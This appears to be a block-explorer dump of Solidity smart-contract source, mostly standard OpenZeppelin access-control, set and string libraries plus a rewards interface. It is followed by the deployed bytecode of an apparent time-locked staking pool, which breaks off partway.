*/ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IAbstractRewards { /** * @dev Returns the total amount of rewards a given address is able to withdraw. * @param account Address of a reward recipient * @return A uint256 representing the rewards `account` can withdraw */ function withdrawableRewardsOf(address account) external view returns (uint256); /** * @dev View the amount of funds that an address has withdrawn. * @param account The address of a token holder. * @return The amount of funds that `account` has withdrawn. */ function withdrawnRewardsOf(address account) external view returns (uint256); /** * @dev View the amount of funds that an address has earned in total. * accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account) * = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER * @param account The address of a token holder. * @return The amount of funds that `account` has earned in total. */ function cumulativeRewardsOf(address account) external view returns (uint256); /** * @dev This event emits when new funds are distributed * @param by the address of the sender who distributed funds * @param rewardsDistributed the amount of funds received for distribution */ event RewardsDistributed(address indexed by, uint256 rewardsDistributed); /** * @dev This event emits when distributed funds are withdrawn by a token holder. * @param by the address of the receiver of funds * @param fundsWithdrawn the amount of funds that were withdrawn */ event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061038d5760003560e01c8063804d9426116101de578063adf8252d1161010f578063d1f52983116100ad578063dd6624e41161007c578063dd6624e414610944578063ef5cfb8c14610964578063f1127ed814610977578063f7c618c1146109b457600080fd5b8063d1f52983146108be578063d505accf146108e5578063d547741f146108f8578063dd62ed3e1461090b57600080fd5b8063b8162dd2116100e9578063b8162dd214610848578063c3cda52014610871578063c89039c514610884578063ca15c873146108ab57600080fd5b8063adf8252d146107dc578063ae22192e146107ef578063b182eb911461082857600080fd5b806395d89b411161017c578063a16cdbb111610156578063a16cdbb114610787578063a217fddf146107ae578063a457c2d7146107b6578063a9059cbb146107c957600080fd5b806395d89b41146107595780639ab24eb0146107615780639afdb2c21461077457600080fd5b80638e539e8c116101b85780638e539e8c146106c25780638f2203f6146106d55780639010d07c1461070d57806391d148541461072057600080fd5b8063804d94261461067c578063857184d11461069c5780638dbdbe6d146106af57600080fd5b80633a46b1a8116102c357806368570e6a1161026157806378b4330f1161023057806378b4330f146106445780637cd0b5c71461064d5780637e245d79146106605780637ecebe001461066957600080fd5b806368570e6a146105a55780636fcfff45146105cc57806370a08231146105f457806376175b061461061d57600080fd5b806357c2c2ba1161029d57806357c2c2ba14610514578063587cde1e1461053b57806359974e381461057f5780635c19a95c1461059257600080fd5b80633a46b1a8146104cf5780634f1bfc9e146104e257806354c5b696146104ed57600080fd5b806323b872dd11610330578063313ce5671161030a578063313ce567146104925780633644e515146104a157806336568abe146104a957806339509351146104bc57600080fd5b806323b872dd14610449578063248a9ca31461045c5780632f2ff15d1461047f57600080fd5b8063095ea7b31161036c578063095ea7b3146103e457806310accecc146103f757806318160ddd1461041857806318f9e2911461042057600080fd5b8062f714ce1461039257806301ffc9a7146103a757806306fdde03146103cf575b600080fd5b6103a56103a0366004613e38565b6109db565b005b6103ba6103b5366004613e7d565b610e08565b60405190151581526020015b60405180910390f35b6103d7610e33565b6040516103c69190613ff9565b6103ba6103f2366004613d3b565b610ec5565b61040a610405366004613c47565b610edb565b6040519081526020016103c6565b60025461040a565b61040a61042e366004613c47565b6001600160a01b03166000908152600b602052604090205490565b6103ba610457366004613c95565b610f6b565b61040a61046a366004613e1f565b6000908152600c602052604090206001015490565b6103a561048d366004613e38565b61102c565b604051601281526020016103c6565b61040a611053565b6103a56104b7366004613e38565b611062565b6103ba6104ca366004613d3b565b611084565b61040a6104dd366004613d3b565b6110c0565b61040a63bbf81e0081565b61040a7f000000000000000000000000000000000000000000000000000000000000000081565b61040a7f000000000000000000000000000000000000000000000000000000000000000081565b610567610549366004613c47565b6001600160a01b039081166000908152600660205260409020541690565b6040516001600160a01b0390911681526020016103c6565b6103a561058d366004613e1f565b611133565b6103a56105a0366004613c47565b6111d1565b6105677f000000000000000000000000000000000000000000000000000000000000000081565b6105df6105da366004613c47565b6111de565b60405163ffffffff90911681526020016103c6565b61040a610602366004613c47565b6001600160a01b031660009081526020819052604090205490565b61040a7fd9d917c4034cff8a8c5fa1e40f9fbaf906b827c33ae3ab1fcabbb616cb8ef24d81565b61040a61025881565b61040a61065b366004613c47565b611200565b61040a60095481565b61040a610677366004613c47565b61122c565b61068f61068a366004613c47565b61124a565b6040516103c69190613f92565b61040a6106aa366004613c47565b6112e8565b6103a56106bd366004613ec0565b611370565b61040a6106d0366004613e1f565b611663565b6106ec6fffffffffffffffffffffffffffffffff81565b6040516fffffffffffffffffffffffffffffffff90911681526020016103c6565b61056761071b366004613e5b565b6116bf565b6103ba61072e366004613e38565b6000918252600c602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6103d76116d7565b61040a61076f366004613c47565b6116e6565b6103a5610782366004613c95565b61176d565b61040a7f0000000000000000000000000000000000000000000000000000000012cc030081565b61040a600081565b6103ba6107c4366004613d3b565b61187f565b6103ba6107d7366004613d3b565b611930565b61040a6107ea366004613e1f565b61193d565b6108026107fd366004613d3b565b6119a6565b6040805193845267ffffffffffffffff92831660208501529116908201526060016103c6565b61040a610836366004613c47565b600a6020526000908152604090205481565b61040a610856366004613c47565b6001600160a01b03166000908152600f602052604090205490565b6103a561087f366004613d65565b6119f7565b6105677f000000000000000000000000ff9fea2666ac0b074a1a53579ff95add4df0601a81565b61040a6108b9366004613e1f565b611b2d565b61040a7f000000000000000000000000000000000000000000000000000000000000000081565b6103a56108f3366004613cd1565b611b44565b6103a5610906366004613e38565b611ca8565b61040a610919366004613c62565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61040a610952366004613c47565b600b6020526000908152604090205481565b6103a5610972366004613c47565b611cb2565b61098a610985366004613dbd565b611e7c565b60408051825163ffffffff1681526020928301516001600160e01b031692810192909252016103c6565b6105677f000000000000000000000000ff9fea2666ac0b074a1a53579ff95add4df0601a81565b6002600e541415610a335760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b6002600e556001600160a01b038116610ab45760405162461bcd60e51b815260206004820152603660248201527f54696d654c6f636b506f6f6c2e77697468647261773a2072656365697665722060448201527f63616e6e6f74206265207a65726f2061646472657373000000000000000000006064820152608401610a2a565b336000908152600f60205260409020548210610b385760405162461bcd60e51b815260206004820152602d60248201527f54696d654c6f636b506f6f6c2e77697468647261773a204465706f736974206460448201527f6f6573206e6f74206578697374000000000000000000000000000000000000006064820152608401610a2a565b336000908152600f60205260408120805484908110610b5957610b596142aa565b6000918252602091829020604080516060810182526002909302909101805483526001015467ffffffffffffffff80821694840194909452600160401b90049092169181018290529150421015610bf25760405162461bcd60e51b815260206004820152601f60248201527f54696d654c6f636b506f6f6c2e77697468647261773a20746f6f20736f6f6e006044820152606401610a2a565b6000670de0b6b3a7640000610c2383602001518460400151610c14919061418f565b67ffffffffffffffff1661193d565b8351610c2f9190614159565b610c3991906140b0565b336000908152600f60205260409020805491925090610c5a90600190614178565b81548110610c6a57610c6a6142aa565b9060005260206000209060020201600f6000610c833390565b6001600160a01b03166001600160a01b031681526020019081526020016000208581548110610cb457610cb46142aa565b600091825260208083208454600293909302019182556001938401805494909201805467ffffffffffffffff95861667ffffffffffffffff1982168117835593546fffffffffffffffffffffffffffffffff19909116909317600160401b93849004909516909202939093179055338152600f90915260409020805480610d3d57610d3d614294565b60008281526020812060026000199093019283020190815560010180546fffffffffffffffffffffffffffffffff191690559055610d81610d7b3390565b82612098565b8151610db9906001600160a01b037f000000000000000000000000ff9fea2666ac0b074a1a53579ff95add4df0601a169085906120b4565b815160405190815233906001600160a01b0385169086907fe5df19de43c8c04fd192bc68e484b2593570925fbb6ad8c07ccafbc2aa5c37a19060200160405180910390a450506001600e555050565b60006001600160e01b03198216635a05180f60e01b1480610e2d5750610e2d826120e4565b92915050565b606060038054610e42906141fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6e906141fb565b8015610ebb5780601f10610e9057610100808354040283529160200191610ebb565b820191906000526020600020905b815481529060010190602001808311610e9e57829003601f168201915b5050505050905090565b6000610ed2338484612119565b50600192915050565b6001600160a01b0381166000908152600a60205260408120546fffffffffffffffffffffffffffffffff90610f5b90610f4c610f3a8663ffffffff7f000000000000000000000000000000000000000000000000000004150000060216565b600954610f479190614159565b61223d565b610f56919061402c565b6122c0565b610e2d91906140b0565b60025490565b6000610f78848484612312565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110125760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63650000000000000000000000000000000000000000000000006064820152608401610a2a565b61101f8533858403612119565b60019150505b9392505050565b611036828261235a565b6000828152600d6020526040902061104e908261206c565b505050565b600061105d612380565b905090565b61106c8282612473565b6000828152600d6020526040902061104e90826124fb565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ed29185906110bb90869061406c565b612119565b60004382106111115760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e6564006044820152606401610a2a565b6001600160a01b03831660009081526007602052604090206110259083612510565b6002600e5414156111865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a2a565b6002600e556111c07f000000000000000000000000ff9fea2666ac0b074a1a53579ff95add4df0601a6001600160a01b03163330846125cd565b6111c98161260b565b506001600e55565b6111db3382612726565b50565b6001600160a01b038116600090815260076020526040812054610e2d906127b7565b6001600160a01b0381166000908152600b602052604081205461122283610edb565b610e2d9190614178565b6001600160a01b038116600090815260056020526040812054610e2d565b6001600160a01b0381166000908152600f60209081526040808320805482518185028101850190935280835260609492939192909184015b828210156112dd57600084815260209081902060408051606081018252600286029092018054835260019081015467ffffffffffffffff80821685870152600160401b90910416918301919091529083529092019101611282565b505050509050919050565b60008060005b6001600160a01b0384166000908152600f6020526040902054811015611369576001600160a01b0384166000908152600f60205260409020805482908110611338576113386142aa565b90600052602060002090600202016000015482611355919061406c565b91508061136181614230565b9150506112ee565b5092915050565b6002600e5414156113c35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a2a565b6002600e556001600160a01b0381166114445760405162461bcd60e51b815260206004820152603560248201527f54696d654c6f636b506f6f6c2e6465706f7369743a207265636569766572206360448201527f616e6e6f74206265207a65726f206164647265737300000000000000000000006064820152608401610a2a565b600083116114ba5760405162461bcd60e51b815260206004820152602660248201527f54696d654c6f636b506f6f6c2e6465706f7369743a2063616e6e6f742064657060448201527f6f736974203000000000000000000000000000000000000000000000000000006064820152608401610a2a565b60006114e6837f0000000000000000000000000000000000000000000000000000000012cc0300612833565b90506114f481610258612849565b905061152b7f000000000000000000000000ff9fea2666ac0b074a1a53579ff95add4df0601a6001600160a01b03163330876125cd565b600f6000836001600160a01b03166001600160a01b03168152602001908152602001600020604051806060016040528086815260